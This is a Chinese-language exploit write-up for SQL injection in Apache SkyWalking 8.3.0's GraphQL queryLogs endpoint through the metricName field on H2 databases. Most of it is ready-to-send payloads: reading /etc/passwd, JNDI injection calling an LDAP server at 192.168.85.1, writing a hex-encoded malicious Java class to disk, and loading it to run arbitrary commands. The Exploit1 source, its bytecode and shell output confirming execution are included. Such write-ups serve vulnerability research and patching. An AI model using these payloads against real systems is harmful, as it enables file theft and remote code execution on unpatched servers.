使用了预编译语句,但是在SQL语句的除?
之外的部分存在拼接用户输入的情况,导致依然存在SQL注入。
本次的漏洞可能是因为没有界面入口,需要查看配置文件找出来,可能因为这样被遗漏。
查看映射.graphqls
文件和com.coxautodev.graphql.tools.GraphQLQueryResolver
实现类的地方:
org\apache\skywalking\oap\query\graphql\GraphQLQueryProvider#prepare
但是通过搜索之后
,发现只有
h2LogQueryDao
类的表名可控。
于是尝试构造QueryLog的查询,通过查看配置文件:log.graphqls
知道是metricName
处的注入:
通过调试,发现这里使用了预编译语句,但是在SQL语句的除?
之外的部分存在拼接用户输入的情况,
构造出读文件的payload:
JNDI注入:
写文件:
加载写入的恶意类:
反弹shell:
拼接出来的完整SQL语句可以在log里查看:
select count(1) total from (select 1 from (select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'javax.naming.InitialContext', 'ldap://192.168.85.1:1389/Exploit', 'sa', 'sa', 'PUBLIC'))) -- where 1=1 and time_bucket >= ? and time_bucket <= ? ) [50000-196]
目前仅针对h2数据库的利用。如果数据源为Elasticsearch,则无法使用这个payload:
构造任意类的字节码的hex形式:
77@ubuntu130130:~/tmp$ vi Exploit1.java
77@ubuntu130130:~/tmp$ javac Exploit1.java
77@ubuntu130130:~/tmp$ ll
total 28K
-rw-rw-r-- 1 77 77 685 Feb 8 19:21 Exploit1.class
drwxrwxr-x 3 77 77 4.0K Feb 8 19:21 ./
drwxr-xr-x 27 77 77 4.0K Feb 8 19:21 ../
-rw-rw-r-- 1 77 77 858 Feb 8 19:21 Exploit1.java
-rw-rw-r-- 1 77 77 690 Feb 8 04:04 Exploit.class
-rw-rw-r-- 1 77 77 384 Feb 8 04:04 Exploit.java
drwxrwxr-x 2 77 77 4.0K Jul 24 2020 share1/
77@ubuntu130130:~/tmp$ xxd -p Exploit1.class | tr -d '\n' > Exploit1_class.hex
77@ubuntu130130:~/tmp$ cat Exploit1_class.hex
cafebabe00000034002f0a000b001509001600170800180a0019001a0a001b001c08001d0a001b001e07001f0a000800200700210700220100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100083c636c696e69743e01000d537461636b4d61705461626c6507001f01000a536f7572636546696c6501000d4578706c6f6974312e6a6176610c000c000d0700230c0024002501000b72756e2043616c632e2e2e0700260c002700280700290c002a002b010018746f756368202f746d702f70776e65645f62795f637171320c002c002d0100136a6176612f6c616e672f5468726f7761626c650c002e000d0100084578706c6f6974310100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f53797374656d0100036f75740100154c6a6176612f696f2f5072696e7453747265616d3b0100136a6176612f696f2f5072696e7453747265616d0100077072696e746c6e010015284c6a6176612f6c616e672f537472696e673b29560100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b54726163650021000a000b0000000000020001000c000d0001000e0000001d00010001000000052ab70001b100000001000f0000000600010000000100080010000d0001000e0000005b000200010000001ab200021203b60004b800051206b6000757a700084b2ab60009b1000100000011001400080002000f0000001a0006000000040008000500110008001400060015000700190009001100000007000254070012040001001300000002001477@ubuntu130130:~/tmp$
77@ubuntu130130:~/tmp$ cat Exploit1.java
public class Exploit1 {
static {
try {
System.out.println("run Calc...");
Runtime.getRuntime().exec("touch /tmp/pwned_by_cqq2");
} catch (Throwable e) {
e.printStackTrace();
}
}
}
写入文件之后:
77@ubuntu130130:~/repos/apache-skywalking-apm-8.3.0/apache-skywalking-apm-bin/config$ ll|grep Exploit1.class -rw-rw-r-- 1 77 77 685 Feb 8 19:23 Exploit1.class 77@ubuntu130130:~/repos/apache-skywalking-apm-8.3.0/apache-skywalking-apm-bin/config$ date Mon Feb 8 19:24:27 PST 2021
加载类之后:
77@ubuntu130130:~/tmp$ ll /tmp/pwned_by_cqq2 -rw-rw-r-- 1 77 77 0 Feb 8 19:25 /tmp/pwned_by_cqq2 77@ubuntu130130:~/tmp$ date Mon Feb 8 19:25:54 PST 2021
读文件:
{"query":"query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}","variables":{"condition":{"metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where ?=1 or ?=1 or 1=1--","paging":{"pageNum":1,"pageSize":1,"needTotal":true},"state":ALL, "queryDuration":{"start":"2021-02-07 1554","end":"2021-02-07 1609","step":"MINUTE"}}}}
JNDI注入:
{"query":"query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}","variables":{"condition":{"metricName":"(select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'javax.naming.InitialContext', 'ldap://192.168.85.1:1389/Exploit', 'sa', 'sa', 'PUBLIC'))) --","paging":{"pageNum":1,"pageSize":1,"needTotal":true},"state":ALL, "queryDuration":{"start":"2021-02-07 1554","end":"2021-02-07 1609","step":"MINUTE"}}}}
写文件:
{"query":"query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n total\n }}","variables":{"condition":{"metricName":"INFORMATION_SCHEMA.USERS) union SELECT FILE_WRITE('cafebabe00000034002f0a000b001509001600170800180a0019001a0a001b001c08001d0a001b001e07001f0a000800200700210700220100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100083c636c696e69743e01000d537461636b4d61705461626c6507001f01000a536f7572636546696c6501000c4578706c6f69742e6a6176610c000c000d0700230c0024002501000b72756e2043616c632e2e2e0700260c002700280700290c002a002b010017746f756368202f746d702f70776e65645f62795f6371710c002c002d0100136a6176612f6c616e672f5468726f7761626c650c002e000d01000f636f6d2f6371712f4578706c6f69740100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f53797374656d0100036f75740100154c6a6176612f696f2f5072696e7453747265616d3b0100136a6176612f696f2f5072696e7453747265616d0100077072696e746c6e010015284c6a6176612f6c616e672f537472696e673b29560100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b54726163650021000a000b0000000000020001000c000d0001000e0000001d00010001000000052ab70001b100000001000f0000000600010000000300080010000d0001000e0000005b000200010000001ab200021203b60004b800051206b6000757a700084b2ab60009b1000100000011001400080002000f0000001a000600000006000800070011000a00140008001500090019000b0011000000070002540700120400010013000000020014', 'config/Exploit.class') where ?=1 or ?=1 or 1=1 --","paging":{"pageNum":1,"pageSize":1,"needTotal":true},"state":ALL, "queryDuration":{"start":"2021-02-07 1554","end":"2021-02-07 1609","step":"MINUTE"}}}}
加载写入的文件类,实现任意代码执行:
{"query":"query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}","variables":{"condition":{"metricName":"(select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'Exploit1', 'test', 'sa', 'sa', 'PUBLIC'))) --","paging":{"pageNum":1,"pageSize":1,"needTotal":true},"state":ALL, "queryDuration":{"start":"2021-02-07 1554","end":"2021-02-07 1609","step":"MINUTE"}}}}